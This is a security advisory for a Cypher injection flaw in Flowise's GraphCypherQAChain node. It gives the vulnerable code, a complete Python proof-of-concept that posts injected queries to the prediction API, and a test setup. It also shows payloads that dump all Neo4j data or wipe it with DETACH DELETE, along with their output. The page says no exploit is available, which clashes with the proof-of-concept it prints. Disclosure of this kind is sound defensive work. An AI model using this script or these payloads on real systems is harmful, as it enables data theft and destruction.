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GHSA-28g4-38q8-3cwc

HighCVSS 8.7 / 10
Published Apr 16, 2026·Last modified May 5, 2026
Affected Components(0)

No affected components available

Description

Summary

The GraphCypherQAChain node forwards user-provided input directly into the Cypher query execution pipeline without proper sanitization. An attacker can inject arbitrary Cypher commands that are executed on the underlying Neo4j database, enabling data exfiltration, modification, or deletion.

Vulnerability Details

| Field | Value | |-------|-------| | Affected File | packages/components/nodes/chains/GraphCypherQAChain/GraphCypherQAChain.ts | | Affected Lines | 193-219 (run method) |

Prerequisites

To exploit this vulnerability, the following conditions must be met:

  1. Neo4j Database: A Neo4j instance must be connected to the Flowise server
  2. Vulnerable Chatflow Configuration:
    • A chatflow containing the Graph Cypher QA Chain node
    • Connected to a Chat Model (e.g., ChatOpenAI)
    • Connected to a Neo4j Graph node with valid credentials
  3. API Access: Access to the chatflow's prediction endpoint (/api/v1/prediction/{flowId})
<img width="1627" height="1202" alt="vulnerability-diagram-prerequisites" src="https://github.com/user-attachments/assets/8069e7df-799c-40cc-908a-ab7587b621d0" />

Root Cause

In GraphCypherQAChain.ts, the run method passes user input directly to the chain without sanitization:

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...
    
    const obj = {
        query: input  // User input passed directly
    }
    
    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}

Impact

An attacker with access to a vulnerable chatflow can:

  1. Data Exfiltration: Read all data from the Neo4j database including sensitive fields
  2. Data Modification: Create, update, or delete nodes and relationships
  3. Data Destruction: Execute DETACH DELETE to wipe entire database
  4. Schema Discovery: Enumerate database structure, labels, and properties

Proof of Concept

poc.py

#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argument(
        "--injection",
        default="MATCH (n) RETURN n",
        help="Cypher payload to inject",
    )
    args = ap.parse_args()

    payload = {
        "question": args.injection,
        "overrideConfig": {},
    }

    headers = {}
    if args.token:
        headers["Authorization"] = f"Bearer {args.token}"

    url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"

    try:
        status, body = post_json(url, payload, headers)
        print(body if body else f"(empty response, HTTP {status})")
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

Test Environment Setup

1. Start Neo4j with Docker:

docker run -d \
  --name neo4j-test \
  -p 7474:7474 \
  -p 7687:7687 \
  -e NEO4J_AUTH=neo4j/testpassword123 \
  neo4j:latest

2. Create test data (in Neo4j Browser at http://localhost:7474):

CREATE (a:Person {name: 'Alice', secret: 'SSN-123-45-6789'})
CREATE (b:Person {name: 'Bob', secret: 'SSN-987-65-4321'})
CREATE (a)-[:KNOWS]->(b)

3. Configure Flowise chatflow (see screenshot)

Exploitation Steps

# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
  --flow-id <FLOW_ID> --token <API_KEY> \
  --injection "MATCH (n) DETACH DELETE n"

Evidence

Cypher injection reaching Neo4j directly:

$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n                ^",...}

The error message comes from Neo4j, proving the injected Cypher is executed directly.

Data destruction confirmed:

$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}

Empty result indicates all nodes were deleted.

Sensitive data exfiltration:

$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}
Risk Scores
Base Score
8.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.3

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.50%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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